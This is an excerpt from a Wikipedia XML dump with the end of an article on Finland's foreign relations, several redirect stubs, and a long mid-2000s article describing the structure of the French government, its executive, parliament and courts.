In April [[1948]], Finland signed an [[Agreement of Friendship, Cooperation, and Mutual Assistance]] with the Soviet Union. Under this mutual assistance pact, Finland was obliged — with the aid of the Soviet Union, if necessary — to resist armed attacks by [[Germany]] or its allies against Finland or against the U.S.S.R. through Finland. At the same time, the agreement recognized Finland’s desire to remain outside great-power conflicts. This agreement was renewed for 20 years in [[1955]], in [[1970]], and again in [[1983]] to the year [[2003]].

Finland responded cautiously in [[1990]]–91 to the [[collapse of the Soviet Union]]. They unilaterally abrogated restrictions imposed by the 1947 and 1948 treaties, joined in voicing [[Nordic]] concern over the coup against Soviet leader [[Mikhail Gorbachev]], and gave increasing unofficial encouragement to [[Baltic countries|Baltic]] independence.

At the same time, by replacing the Soviet-Finnish mutual assistance pact with treaties on general cooperation and trade, Finns put themselves on an equal footing while retaining a friendly bilateral relationship. Finland now is boosting cross-border commercial ties and touting its potential as a commercial gateway to Russia. It has reassured Russia that it will not raise claims for Finnish territory seized by the U.S.S.R., and continues to reaffirm the importance of good bilateral relations.

==Multilateral Relations==
Finnish foreign policy emphasizes its participation in multilateral organizations. Finland joined the [[United Nations]] in 1955 and the [[European Union]] in [[1995]]. As noted, the country also is a member of [[NATO]]’s [[Partnership for Peace]] as well as an observer in the [[North Atlantic Cooperation Council]] and the [[Western European Union]].

Finland is well represented in the [[UN civil service]] in proportion to its population and belongs to several of its specialized and related agencies. Finnish troops have participated in [[UN peacekeeping]] activities since 1956, and the Finns continue to be one of the largest per capita contributors of peacekeepers in the world. Finland is an active participant in the [[Organization for Security and Cooperation in Europe]] (OSCE) and in early 1995 assumed the co-chairmanship of the OSCE’s [[Minsk Group]] on the [[Nagorno-Karabakh Republic|Nagorno-Karabakh]] conflict.

Cooperation with the other [[Scandinavia]]n countries also is important to Finland, and it has been a member of the [[Nordic Council]] since 1955. Under the council’s auspices, the Nordic countries have created a common labor market and have abolished immigration controls among themselves. The council also serves to coordinate social and cultural policies of the participating countries and has promoted increased cooperation in many fields.

In addition to the organizations already mentioned, Finland is a member of the [[International Bank for Reconstruction and Development]], the [[International Monetary Fund]], the [[World Trade Organization]], the [[International Finance Corporation]], the [[International Development Association]], the [[Bank for International Settlements]], the [[Asian Development Bank]], the [[Inter-American Development Bank]], the [[Council of Europe]], and the [[Organization for Economic Cooperation and Development]].

Relations between the [[United States]] and Finland are warm. Some 200,000 U.S. citizens visit Finland annually, and about 3,000 U.S. citizens are resident there. The U.S. has an educational exchange programme in Finland that is comparatively large for a Western European country of Finland’s size. It is financed in part from a trust fund established in [[1976]] from Finland’s final repayment of a [[U.S. loan]] made in the aftermath of [[World War I]].

Finland is bordered on the east by [[Russia]] and, as one of the former Soviet Union’s neighbours, has been of particular interest and importance to the US both during the [[Cold War]] and in its aftermath. Before the USSR dissolved in 1991, longstanding US policy was to support Finnish neutrality while maintaining and reinforcing Finland’s historic, cultural, and economic ties with the West. The US has welcomed Finland’s increased participation since 1991 in Western economic and political structures.

Following the dissolution of the Soviet Union, Finland has moved steadily towards integration into Western institutions and abandoned its formal policy of neutrality, which has been recast as a policy of military nonalliance coupled with the maintenance of a credible, independent defence. Finland’s [[1994]] decision to buy 64 [[F-18 Hornet]] fighter planes from the United States signalled the abandonment of the country’s policy of balanced arms purchases from East and West.

In [[1994]], Finland joined NATO’s Partnership for Peace; the country is also  an observer in the North Atlantic Cooperation Council. Finland became a full member of the European Union (EU) in January 1995, at the same time acquiring observer status in the EU’s defence arm, the Western European Union.

Economic and trade relations between Finland and the United States are active and were bolstered by the F-18 purchase. U.S.-Finland trade totals almost $5 billion annually. The U.S. receives about 7% of Finland’s exports — mainly [[Wood pulp|pulp]] and [[paper]], ships, and machinery — and provides about 7% of its imports — principally [[computer]]s, [[semiconductors]], [[aircraft]], and machinery.

'''Disputes - international:''' none

== International organization participation == 
&lt;table&gt;&lt;tr valign=&quot;top&quot;&gt;&lt;td width=&quot;25%&quot;&gt;
*[[AfDB]]
*[[AsDB]]
*[[Australia Group]]
*[[Bank for International Settlements|BIS]]
*[[CBSS]]
*[[Customs Cooperation Council|CCC]]
*[[Council of Europe|CE]]
*[[CERN]]
*[[Euro-Atlantic Partnership Council|EAPC]]
*[[EBRD]]
*[[United Nations Economic Commission for Europe|ECE]]
*[[European Investment Bank|EIB]]
*[[European Space Agency|ESA]]
*[[EU]]
*[[FAO]]
*[[G-9]]
*[[Inter-American Development Bank|IADB]]
&lt;td width=&quot;25%&quot;&gt;
*[[IAEA]]
*[[IBRD]]
*[[ICAO]]
*[[International Chamber of Commerce|ICC]]
*[[International Criminal Court|ICC]]
*[[ICFTU]]
*[[International Red Cross and Red Crescent Movement|ICRM]]
*[[International Development Association|IDA]]
*[[International Energy Agency|IEA]]
*[[IFAD]]
*[[IFC]]
*[[IFRCS]]
*[[IHO]]
*[[International Labour Organization|ILO]]
*[[IMF]]
*[[International Maritime Organization|IMO]]
*[[Interpol]]
*[[IOC]]
&lt;td width=&quot;25%&quot;&gt;
*[[International Organization for Migration|IOM]]
*[[International Organization for Standardization|ISO]]
*[[International Telecommunication Union|ITU]]
*[[MINURSO]]
*[[Non-Aligned Movement|NAM]] (guest)
*[[Nordic Council|NC]]
*[[Nuclear Energy Agency|NEA]]
*[[NIB]]
*[[Nuclear Suppliers Group|NSG]]
*[[Organization of American States|OAS]] (observer)
*[[OECD]]
*[[OPCW]]
*[[Organization for Security and Co-operation in Europe|OSCE]]
*[[Permanent Court of Arbitration|PCA]]
*[[Partnership for Peace|PFP]]
*[[UN]]
*[[UNCTAD]]
*[[UNESCO]]
*[[UNHCR]]
&lt;td width=&quot;25%&quot;&gt;
*[[UNIDO]]
*[[UNIKOM]]
*[[UNITAR]]
*[[UNMEE]]
*[[UNMIBH]]
*[[UNMIK]]
*[[UNMOGIP]]
*[[UNMOP]]
*[[UNOMIG]]
*[[UNTAET]]
*[[UNTSO]]
*[[UPU]]
*[[WEU]] (observer)
*[[WFTU]]
*[[World Health Organization|WHO]]
*[[WIPO]]
*[[WMO]]
*[[WTrO]]
*[[Zangger Committee]]
&lt;/table&gt;

''See also: [[Politics of Finland]]''

== References ==
*[[CIA World Factbook]] - [http://www.cia.gov/cia/publications/factbook/geos/fi.html Finland]

[[Category:Foreign relations of Finland| ]]</text>
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    <title>France/History</title>
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        <username>Maveric149</username>
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      <text xml:space="preserve">#REDIRECT [[History of France]]</text>
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    <title>France/Geography</title>
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      <id>15908515</id>
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        <username>Scipius</username>
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      <comment>moved to [[Geography of France]]</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of France]]</text>
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    <title>France/People</title>
    <id>10719</id>
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      <id>15908516</id>
      <timestamp>2002-08-20T15:30:23Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of France]]</text>
    </revision>
  </page>
  <page>
    <title>Government of France</title>
    <id>10720</id>
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      <id>42086309</id>
      <timestamp>2006-03-03T19:05:40Z</timestamp>
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      <minor />
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      <text xml:space="preserve">{{mergefrom|Human rights in France}}

:''This article is about the political and administrative structures of the [[France|French]] government. For French political parties and tendencies, see [[Politics of France]].''

{{Politics of France}}
[[Image:Marque du Gouvernement de la République Française.gif|thumb|180px|right|Symbol of the French government]] 
The '''government of France''' is a [[semi-presidential system]] based on the [[Constitution of France|French Constitution]] of the [[fifth French Republic|fifth Republic]], in which the nation declares itself to be &quot;an indivisible, [[laïcité|secular]], [[Democracy|democratic]], and [[social]] [[Republic]]&quot;. The constitution provides for a [[separation of powers]] and proclaims France's &quot;attachment to the [[Human Rights|Rights of Man]] and the principles of [[national sovereignty]] as defined by the [[Declaration of the Rights of Man and of the Citizen|Declaration of 1789]].&quot;[http://www.assemblee-nationale.fr/english/8ab.asp]

The national government of France is divided into an [[executive branch|executive]], a [[legislative branch|legislative]] and a [[judiciary|judicial branch]]. The [[President of France|President]] has a degree of direct executive power, but most executive power resides in his appointee, the [[Prime Minister of France|Prime Minister]]. The President's choice for Prime Minister must have the [[confidence]] of the [[French National Assembly|National Assembly]], the lower house of Parliament; also the Prime Minister is always from the majority party in that house.

Parliament comprises the [[French National Assembly|National Assembly]] and the [[French Senate|Senate]].  It passes statutes and votes on the budget; it controls the action of the executive through formal questioning on the floor of the houses of Parliament and by establishing commissions of enquiry. The constitutionality of the statutes is checked by the [[Constitutional Council of France|Constitutional Council]], members of which are appointed by the President of the Republic, the President of the National Assembly, and the President of the Senate.  Former Presidents of the Republic also are members of the Council. 

The independent judiciary is based on a [[civil law (legal system)|civil law]] system which evolved from the [[Napoleonic code]].  It is divided into the judicial branch (dealing with [[civil law (private law)|civil law]] and [[criminal law]]) and the administrative branch (dealing with appeals against executive decisions), each with their own independent supreme court, the [[court of cassation|courts of cassation]]. The French government includes various bodies that check abuses of power and independent agencies.

France is a [[unitary state]]. However, the various legal subdivisions—the ''régions'', ''départements'' and ''communes''—have various attributions, and the national government is prohibited from intruding into their normal legal operations.

==Constitution==
''Main article: [[Constitution of France]]''

A popular [[referendum]] approved the constitution of the [[French Fifth Republic]] in [[1958]], greatly strengthening the authority of the presidency and the executive with respect to Parliament.
The constitution does not contain a [[bill of rights]] in itself, but its preamble mentions that France should follow the principles of the ''[[Declaration of the Rights of Man and of the Citizen]]'', as well as those of the preamble to the constitution of the [[French Fourth Republic|Fourth Republic]]. This has been judged to imply that the principles laid forth in those texts have constitutional value, and that legislation infringing on those principles should be found unconstitutional.

Among these foundational principles, one may cite: the [[social equality|equality]] of all citizens before law, and the rejection of special class privileges such as those that existed prior to the [[French Revolution]]; [[presumption of innocence]]; [[freedom of speech]]; [[freedom of opinion]] including [[freedom of religion]]; the guarantee of property against arbitrary seizure; the accountability of government agents to the citizenry.

[[Image:French government.png|512px|center|thumb|The main processes of the French national government (most of the justice system excluded for clarity)]]

==Executive branch==

[[France]] has an original system with an [[executive branch]] headed by two officials: the [[President of France|President]] and the [[Prime Minister of France|Prime Minister]].

===President of the Republic===
[[Image:Charles_de_Gaulle.jpg|thumb|right|200px|The first president of the [[French Fifth Republic|Fifth Republic]], [[Charles de Gaulle]], wanted a strong executive; this contrasted with the chronic instability of the [[parliamentary system|parliamentary]] [[French Fourth Republic|Fourth Republic]].]]
[[Image:Chirac-official.jpg|thumb|right|200px|[[Jacques Chirac]] is the current president.]]
''Main article: [[President of France]]''

Under the constitution, the President was originally elected for a seven-year term; this has been reduced to five years. The President names the Prime Minister, presides over the ''gouvernement'' (cabinet of ministers), commands the armed forces, and concludes treaties.
The President may submit questions to national referenda and can dissolve the [[French National Assembly|National Assembly]].

In certain emergencies the President may assume special, comprehensive powers. However, in normal times, the President may pass neither legislation nor regulations, though, of course, if the Parliament is from his political side, he may strongly suggest the adoption of such or such legislation, or request his prime minister to take such or such regulation.

In the original 1958 constitution, the President was elected by an [[electoral college]] of elected officials. However, in 1962, [[Charles de Gaulle]] obtained, through a referendum, an amendment to the constitution whereby the president would be directly elected by citizens. Given France's [[runoff voting]] system, this means that the presidential candidate is required to obtain a nationwide majority of non-blank votes at either the first or second round of balloting, which presumably implies that the president is somewhat supported by at least half of the voting population; this gives him considerable legitimacy. Despite his somewhat restricted ''[[de jure]]'' powers, the president thus enjoys considerable aura and effective power.

As a consequence, the President is the pre-eminent figure in French politics. He names the Prime Minister; though he may not ''de jure'' dismiss him, if the Prime Minister is from the same political side, he can, in practice, have him resign on demand. He appoints the ministers, ministers-delegate and secretaries. When the President's political party or supporters control parliament, the President is the ''dominant'' player in executive action, choosing whomever he wishes for the government, and having it follow ''his'' political agenda (parliamentary disagreements do occur, though, even within the same party).

However, when the President's political opponents control parliament, the President's dominance can be severely limited, as he must choose a Prime Minister and cabinet who reflect the majority in parliament, and who will implement the agenda of the parliamentary majority. When parties from opposite ends of the political spectrum control parliament and the presidency, the power-sharing arrangement is known as [[cohabitation (government)|cohabitation]].

[[Jacques Chirac]] has been President since [[17 May]] [[1995]]. He was reelected in 2002 for 5 more years.

===The ''gouvernement''===
[[Image:Dominique_villepin.jpg|thumb|left|150px|Current prime minister, [[Dominique de Villepin]]]]
The ''gouvernement'' is headed by the Prime Minister. It has at its disposal the [[French Civil Service|civil service]], the government agencies, and the [[Military of France|armed forces]].  (The term &quot;[[cabinet]]&quot; is rarely used to describe the ''gouvernement'', even in translation, as it is used in French to mean a minister's private office, composed of politically-appointed aides. In [[French language|French]], the word ''gouvernement'' can refer to government in general, but generally refers to the cabinet.)

The ''gouvernement'' is responsible to Parliament, and the National Assembly may pass a motion of censure, forcing the resignation of the cabinet. This, in practice, forces the ''gouvernement'' to be from the same political stripe as the majority in the Assembly. Ministers have to answer questions from members of Parliament, both written and oral; this is known as the ''questions au gouvernement'' (questions to the government). In addition, ministers attend meetings of the houses of Parliament when laws pertaining to their areas of responsibility are being discussed.

[[French government ministers|Government ministers]] cannot pass legislation without parliamentary approval, though the prime minister may issue regulations (''décrets'' with a value of ''réglement'') within certain constraints. Ministers, however, can propose legislation to Parliament; since the Assembly is from the same political stripe as the ministers, such legislation is, in general, very likely to pass. However, this is not guaranteed, and, on occasion, the opinion of the majority parliamentarians may differ significantly from those of the executive, which often results in a large number of amendments.
{{French Government}}

Traditionally, the cabinet comprises members of three ranks. Ministers are the most senior members of the government; ministers-delegate (''ministres délégués'') assist ministers in particular areas of their portfolio; secretaries of state (''secrétaires d'État'') assist ministers in less important areas, and attend cabinet meetings only occasionally. Before the [[French Fifth Republic|Fifth Republic]], some ministers of particular political importance were called &quot;ministers of state&quot; (''ministres d'État''); the practice has continued under the Fifth Republic in a purely honorific fashion: ministers styled Minister of State are considered of a higher importance in the cabinet.

The number of ministries and the splitting of responsibilities and administrations between them varies from government to government. While the name and exact areas of responsibility of each ministry may change, one generally finds at least: 
* [[Ministry of the Economy, Finance and Industry (France)|Ministry of the Economy, Finance and Industry]] (taxes, budget),
* [[Ministry of the Interior (France)|Ministry of the Interior]] (law enforcement, relationships with local governments),
* [[Ministry of Justice (France)|Ministry of Justice and Keeper of the Seals]] (prisons, running the court system, supervision of the prosecution service)
* [[Ministry of National Education (France)|Ministry of National Education]],
* [[Ministry of Defence (France)|Ministry of Defence]],
* [[Ministry of Foreign Affairs (France)|Ministry of Foreign Affairs]],
* [[Minister of Transportation (France)|Ministry of Transportation]].

(For more on French ministries, see [[French government ministers]])

The ''gouvernement'' has a leading role in shaping the agenda of the houses of Parliament. It may propose laws to Parliament, as well as amendments during parliamentary meetings. It may make use of some procedures to speed up parliamentary deliberations.

The cabinet has weekly meetings (usually on Wednesday mornings), chaired by the President, at the [[Élysée Palace]].

Following the referendum rejecting the [[European Constitution]], [[Dominique de Villepin]] replaced [[Jean-Pierre Raffarin]] as the French Prime Minister on [[May 31]], [[2005]].

===Executive-issued regulations and legislation===
The French executive has a limited power to establish regulation or legislation. (See [[#Statute law vs executive regulations|below]] for how such regulations or legislative items interact with statute law.)

====Decrees and other executive decisions====
Only the President and Prime Minister sign [[decree]]s (''décrets''), which are akin to US [[executive order]]s. Decrees can only be taken following certain procedures and with due respect to the constitution and statute law.

* The President signs decrees naming and dismissing most senior civil and military servants, for positions listed in the Constitution or in Statutes. He also signs decrees establishing some regulations (''décrets en conseil des ministres''). All such decrees must be countersigned by the Prime Minister and the ministers concerned.
* The Prime Minister signs decrees establishing [[regulation]]s, which the concerned ministers countersign. In some areas, they constitute [[primary legislation]], in some others they must be subordinate to an existing [[statute]]. In some cases, statutes impose a compulsory advisory review by the ''[[Conseil d'État]]'' (''décrets en Conseil d'État''), as opposed to ''décrets simples''.

The individual ministers take administrative decisions (''arrêtés'') in their fields of competence, subordinate to statutes and decrees.

Contrary to a sometimes used polemical ''[[cliché]]'', neither the president nor the prime minister may [[rule by decree]] (outside of the narrow case of presidential emergency powers).

====Ordinances====
The executive cannot issue decrees in areas that the Constitution puts under the responsibility of legislation, issued by Parliament. Still, Parliament may, through a habilitation law, authorize the executive to issue [[ordinance]]s (''ordonnances''), with legislative value, in such areas. Habilitation laws specify the scope of the ordinance. After the ordinance is issued, Parliament is asked whether it wants to ratify it. If Parliament votes no to ratification, the ordinance is cancelled. Most of the time, ratification is not voted upon.

The use of ordinances should normally be reserved for very urgent matters, or for technical, uncontroversial texts (such as the ordinances that converted all sums in [[French Franc]]s to [[Euro]]s in the various laws in force in France). They are sometimes used to push controversial legislation through, such as when Prime Minister [[Dominique de Villepin]] created new forms of work contracts in 2005. The use of ordinances in such contexts is then criticized by the opposition as anti-democratic, and demeaning to Parliament. It must be said, however, that since the National Assembly can dismiss the government through a motion of censure, the government necessarily relies on a majority in Parliament, and this majority would be likely to adopt the controversial law anyway.

===Internal limits of the executive branch; checks and balances===
The general rule is that government agencies and the civil service are at the disposal of the ''gouvernement'', or cabinet. However, various agencies are independent agencies (''autorités administratives indépendantes'') that have been statutorily excluded from the executive's authority, although they belong in the executive branch. These independent agencies have some specialized regulatory power, some executive power, and some [[Quasi-judicial body|quasi-judicial]] power. They can impose sanctions that are named &quot;administrative sanctions&quot; ''sanctions administratives''.

Some examples of independent agencies:
* The ''[[Banque de France]]'', the central bank, is independent ([http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CMONFINL.rcv financial and economic code, L141 and following]). This was a prerequisite for integrating the [[European System of Central Banks]].
* The Telecommunication regulation authority ([http://www.art-telecom.fr/ ''Autorité de régulation des télécommunications'']) is an ''independent administrative authority''.
* The Financial markets regulatory authority ([http://www.amf-france.org ''Autorité des Marchés Financiers (AMF)'']) regulates securities markets.
* The Higher council of the audiovisual (''Conseil supérieur de l'audiovisuel'') supervises the granting and withdrawing of emission frequencies for [[radio]] and [[Television|TV]], as well as [[public broadcasting]].

Public media corporations should not be influenced in their news reporting by the executive in power, since they have the duty to supply the public with unbiased information. For instance, the [[Agence France-Presse]] (AFP) is an independent public corporation. Its resources must come solely from its commercial sales. The majority of the seats in its board are held by representatives of the French [[Mass media|press]].

The government also provides for [[watchdog]]s over its own activities; these independent administrative authorities are headed by a commission typically composed of senior lawyers or members of parliament:
* The National Commission for Computing &amp;amp; Freedom (''Commission nationale informatique et libertés'', CNIL); public services must request an authorization from it before establishing a file with personal information, and they must heed its recommendations; private bodies must only declare their files; citizens have recourse before the commission against abuses;
* The National Commission for the Control of Security Interceptions (''Commission nationale de contrôle des interceptions de sécurité'', CNCIS); the executive, in a limited number of circumstances concerning national security, may request an authorization from the commission for wiretaps (in other circumstances, wiretaps may only be authorized within a judicially-administered criminal investigation).

In addition, the duties of public service limit the power that the executive has over the [[French Civil Service]]. For instance, appointments, except for the highest positions, must be made solely on merit or time in office, typically in competitive exams. Certain civil servants have statuses that prohibit executive interference; for instance, [[judge]]s and [[prosecutor]]s may be named or moved only according to specific procedures. Public researchers and university professors enjoy [[academic freedom]]; by law, they enjoy complete freedom of speech within the ordinary constraints of academia.

===Organization of government services===
Each ministry has a central administration (''administration centrale''), generally divided into directions. These directions are usually divided into divisions or sub-directions. Each direction is headed by a director, named by the President in Council. The central administration largely stays the same regardless of the political tendency of the executive in power.

In addition, each minister has a private office, which is composed of members whose nomination is politically determined, called the ''cabinet''.

The state also has distributive services spread throughout French territory, often reflecting divisions into ''[[région in France|région]]s'' or ''[[département in France|département]]s''. The [[prefect]], the representative of the national government in each ''région'' or ''département'', supervises the activities of the distributive services in his jurisdiction. Generally, the services of a certain administration in a ''région'' or ''département'' are managed by a high-level civil servant, often called director, but not always; for instance, the services of the ''[[Trésor public]]'' (Treasury) in each ''département'' are headed by a treasurer-paymaster general, named by the President of the Republic in Council.  In the last several decades, the departmental ''conseil général'' (see &quot;Local Government&quot; below) has taken on new responsibilities and plays an important role in administrating government services at the local level.

The government also maintains public establishments. These have a relative administrative and financial autonomy, in order to accomplish a defined mission. They are attached to one or more supervising authorities. These are classified into several categories:
* public establishments of an administrative character, including, for instance:
** universities, and most public establishments of higher education;
** etablishments of a research and technical character, such as [[CNRS]] or [[INRIA]];
* public establishments of an industrial and commercial character, including, for instance, [[Commissariat à l'Énergie Atomique|CEA]] and [[Ifremer]].
One essential difference is that in administrations and public establishments of an administrative character operate under public law, while establishments of an industrial and commercial character operate mostly under private law. A consequence is that in the former, permanent personnel are civil servants, while normally in the latter, they are contract employees.

In addition, the government maintains a number of public corporations.

An originality of the French system is that [[Social security|social security]] organizations, though established by statute, are not operated nor directly controlled by the national government. Instead, they are managed by the &quot;social partners&quot; (''partenaires sociaux'') &amp;ndash; unions of employers such as the [[MEDEF]] and unions of employees. Their budget is separate from the national budget.

==Legislative branch==
The Parliament of France, making up the [[legislative branch]], consists of two houses: the National Assembly and the Senate; the Assembly is the pre-eminent body.

Parliament meets for one 9-month session each year: under special circumstances the president can call an additional session. Although parliamentary powers have diminished from those existing under the [[French Fourth Republic|Fourth Republic]], the National Assembly can still cause a government to fall if an absolute majority of the total Assembly membership votes to censure.

The cabinet has a strong influence in shaping the agenda of Parliament. The government also can link its term to a legislative text which it proposes, and unless a motion of censure is introduced (within 24 hours after the proposal) and passed (within 48 hours of introduction - thus full procedures last at most 72 hours), the text is considered adopted without a vote.

Members of Parliament enjoy [[parliamentary immunity]]. Both assemblies have committees that write reports on a variety of topic. If necessary, they can establish parliamentary enquiry commissions with broad investigative power.

===National Assembly===
[[Image:Paris_Assemblee_Nationale_DSC00074.jpg|thumb|right|The National Assembly sits in the ''Palais Bourbon'', by the [[Seine River|Seine]].]]
:''Main article: the [[French National Assembly]].''

The [[National Assembly]] is the principal legislative body. Its 577 deputies are directly elected for 5-year terms in local majority votes, and all seats are voted on in each election. 

The National Assembly may force the resignation of the executive cabinet by voting a motion of censure. For this reason, the [[prime minister]] and his cabinet are necessarily from the dominant party or coalition in the assembly. In the case of a president and assembly from opposing parties, this leads to the situation known as ''[[Cohabitation (government)|cohabitation]]''. While motions of censure are periodically proposed by the opposition following government actions that it deems highly inappropriate, they are purely rhetorical; party discipline ensures that, throughout a parliamentary term, the government is never overthrown by the Assembly.

===Senate===
[[Image:French_Senate_amphitheater_050917_162927.jpg|thumb|right|The Senate's amphitheater]]
:''Main article: the [[French Senate]].''

Senators are chosen by an electoral college of about 145,000 local elected officials for 6-year terms, and one half of the Senate is renewed every 3 years. Before the law of [[30 july]] [[2004]], senators were elected for 9 years, renewed by thirds every 3 years. There are currently 321 senators, but there will be 346 in [[2010]]; 304 represent the metropolitan and overseas ''[[département in France|département]]'', five the other dependencies and 12 the French established abroad.

The Senate's legislative powers are limited; on most matters of legislation, the National Assembly has the last word in the event of a disagreement between the two houses.

Since the beginning of the [[French Fifth Republic|Fifth Republic]], the Senate has always had a right-wing majority. This, the indirect mode of election and the inequality of representation with respect to demographics prompted [[Lionel Jospin]], who was prime minister at the time, to declare the Senate an &quot;anachronism&quot;.

===Legislation adoption procedures===
Statute legislation may be proposed by the government (council of ministers), or by members of Parliament. In the first case, it is a ''projet de loi''; in the latter case, a ''proposition de loi''. All ''projets de loi'' must undergo compulsory advisory review by the ''[[Conseil d'État]]'' before being submitted to parliament. ''Propositions de loi'' cannot increase the financial load of the state without providing for funding.

''Projets de loi'' start in the house the government chooses, ''propositions de loi'' start in the house where they originated. After the house has amended and voted on the text, it is sent to the other house, which can also amend it. If the houses do not choose to adopt the text in identical terms, it is sent before a commission made of equal numbers of members of both houses, which tries to harmonize the text. If it does not manage to do so, the National Assembly can vote the text and have the final say on it.

The law is then sent to the [[President of France]] for signature. At this point, the President of France, the speaker of either house or a delegation of 60 deputies or 60 senators can ask for the text to undergo constitutional review before being put into force; it is then sent before the [[Constitutional Council of France|Constitutional Council]]. The President can also, only once per law, send the law back to parliament for another review. Otherwise, the President must sign the law. After being countersigned by the concerned ministers, it is then sent to the ''[[Journal Officiel de la République Française|Journal Officiel]]'' for publication.

===Budget===
:''See also: [[Taxation in France]].''
[[Image:JO200109337.png|thumb|right|The ''LOLF'']]
The Finance Bills (''lois de finances'') and the financing law of social security (''lois de financement de la sécurité sociale'') are special bills, voted following specific procedures.

Because of the importance of allowing government and social security organizations to proceed with the payment of their suppliers, employees, and recipients, without risk of a being stopped by parliamentary discord, these bills are specially constrained. In the past, parliamentarians would often add unrelated amendments (''cavaliers budgétaires'') to the finance bills, in order to get such amendments passed &amp;ndash; because of the reduced time in which the budget is examined. However, these are nowadays considered unconstitutional. If Parliament cannot agree on a budget within some specified reasonable bounds, the government is entitled to adopt a budget through [[ordinance]]s: this threat prevents parliamentarians from threatening to bankrupt the executive.

The way the Finance Bill is organized, and the way the government has to execute the budget, were deeply reformed in [[2001]] by the ''Loi organique n°2001-692 du 1er août 2001 relative aux lois de finances'', generally known as the LOLF. Because of the major changes involved, the application of the law was gradual, and the first budget to be fully passed under LOLF will be the 2006 budget, passed in late 2005.

The LOLF divides expenses according to identifiable &quot;missions&quot; (which can be subdivided into sub-missions etc.). The performance of the administration and public bodies will be evaluated with respect to these missions.

The budget of the national government was forecast to be 288.8 billion [[Euro]] in 2005. This includes neither Social Security, nor the budgets of local governments.

===Multiple mandates===
It has long been customary for members of parliaments to have, in addition to their mandate as deputy or senator, some local mandate, such as mayor of a city; thus, the phrases &quot;deputy-mayor&quot; (''député-maire'') and &quot;senator-mayor&quot; (''sénateur-maire''). This is known as the ''cumul'' of electoral mandates. Proponents of the ''cumul'' allege that having local responsibilities ensures that members of parliament stay in contact with the reality of their constituency; also, they are said to be able to defend the interest of their city etc. better by having a seat in parliament.

In recent years, the ''cumul'' has been increasingly criticized. Critics contend that lawmakers that also have some local mandate cannot be assiduous to both tasks; for instance, they may neglect their duties to attend parliamentary sittings and commission in order to attend to tasks in their constituency. The premise that holders of dual office can defend the interest of their city etc. in the National Parliament is criticized in that national lawmakers should have the national interest in their mind, not the advancement of the projects of the particular city they are from. Finally, this criticism is part of a wider criticism of the political class as a cozy, closed world in which the same people make a long career from multiple positions.

As a consequence, laws that restrict the possibilities of having multiple mandates have been enacted.

===Economic and Social Council===
''Main article: [[French Economic and Social Council]]''

The Economic and Social Council is a [[consultative]] assembly. It does not play a role in the adoption of statutes and regulations, but advises the lawmaking bodies on questions of social and economic policies.

The executive may refer any question or proposal of social or economic importance to the Economic and Social Council.

The Economic and Social Council publishes reports, which are sent to the [[Prime Minister of France|Prime Minister]], the [[French National Assembly|National Assembly]], and the [[French Senate|Senate]]. They are published in the ''[[Journal Officiel de la République Française|Journal Officiel]]''.

==Judiciary==
:''Main article: [[Justice in France]].''

France's political system, in keeping with [[rule of law]], has an independent [[judiciary]], meaning that it has court systems whose decisions are not ''de jure'' controlled by the executive or legislative branches.
France has a system of [[civil law (legal system)|civil law]], but ''jurisprudence'' plays an important role similar to that of [[case law]].

The most distinctive feature of the French judicial system is that it is divided into the judicial and the administrative orders of courts.

===Judicial Order===

The judicial order of courts judges civil and penal cases. It consists of, in first instance: courts, courts of appeal, and the [[Cour de cassation]] at its helm.

Judges are civil servants, but enjoy special statutory protection from the executive. They may not be moved or promoted without their consent. Their careers are overseen by the High Council of the Magistracy.

The prosecution service, on the other hand, responds to the Minister of Justice. This has in the past led to suspicions of pressures to drop litigation against politicians suspected of corruption, and the topic of the status of the prosecutors comes up regularly in political discussions.

Trial by [[jury]] is used in the judgment of the most severe crimes, by the [[Court of Assizes|Courts of Assizes]]. The full court &amp;ndash; 3 judges and 9 jurors (12 jurors on appeal) &amp;ndash; determines first guilt, then, if guilty, the sentence. Jurors are drawn at random from voters' rolls.

Pre-judgment proceedings are [[inquisitorial]], but the actual court appearance is rather [[adversarial]].

The [[burden of proof]] in criminal proceedings is on the [[prosecution]], and the accused is constitutionally presumed innocent until declared guilty.

Certain specialized courts of first instance are staffed with elected judges. For instance, courts deciding cases of labor law are staffed with an equal number of judges from employers' unions and employees' unions. A similar arrangement holds for courts dealing with rural land leases.

===Administrative Order===
[[Image:DSC00652_conseil_etat.jpg|thumb|right|250px|The Conseil d'État sits in the ''Palais Royal'']]
The Administrative Order of Courts judges most litigations against public bodies. It consists of administrative tribunals, administrative courts of appeals, and the [[Conseil d'État]] at litigation at its helm.

The [[Conseil d'État]] hears cases against executive decisions and has the power to quash governmental decisions and regulations if they do not conform to applicable constitutional or statutory law, or to the general principles of law.

The proceedings are essentially [[written]] and [[inquisitorial]], with both parties being called by the judges to explain themselves in writing.

===Constitutional Council===
''Main article: [[Constitutional Council of France]]''

Neither the judiciary nor the administrative courts can judge the constitutionality of statute laws. While technically not part of the judiciary, the '''Constitutional Council''' examines legislation and decides whether it conforms to the [[constitution]] and [[treaty|treaties]], prior to its promulgation: in all cases for organic laws, and only under referral from the [[President]] of the Republic, the president of the [[Senate]], the President of the [[French National Assembly|National Assembly]], the [[Prime Minister]] or 60 senators or 60 members of the [[National Assembly]] for normal laws. The Constitutional Council may refuse statutes as unconstitutional if they contradict the principles of the 1789 [[Declaration of the Rights of Man and of the Citizen]] (cited in the preamble of the Constitution) or the [[European Convention on Human Rights]] (accepted by [[treaty]]).

The Constitutional Council comprises members appointed for 9 years (3 every 3 years), three members appointed by the President, three members appointed by the President of the National Assembly, and three appointed by the President of the Senate.

===Financial jurisdictions===
The Court of Accounts (''[[Cour des Comptes]]''), assisted by regional accounting courts, audits the finances of the State, public institutions and public bodies. It publishes a yearly official report and may refer criminal matters to prosecutors. It can also directly fine public accountants for mishandling of funds, and refer civil servants who misused funds to the Court of Financial and Budgetary Discipline.

The Court and the chambers do not judge the accountants of private organizations. However, in some circumstances, they may audit their accounting.

==Ombudsman==
In [[1973]] the position of ''médiateur de la République'' (the Republic's [[ombudsman]]) was created. The obdusman is charged with solving, without the need to a recourse before the courts, the disagreements between citizens and the administrations and other entities charged with a mission of a public service; proposing reforms to the Government and the administrations in order to further these goals; and actively participating in the international promotion of [[human rights]].

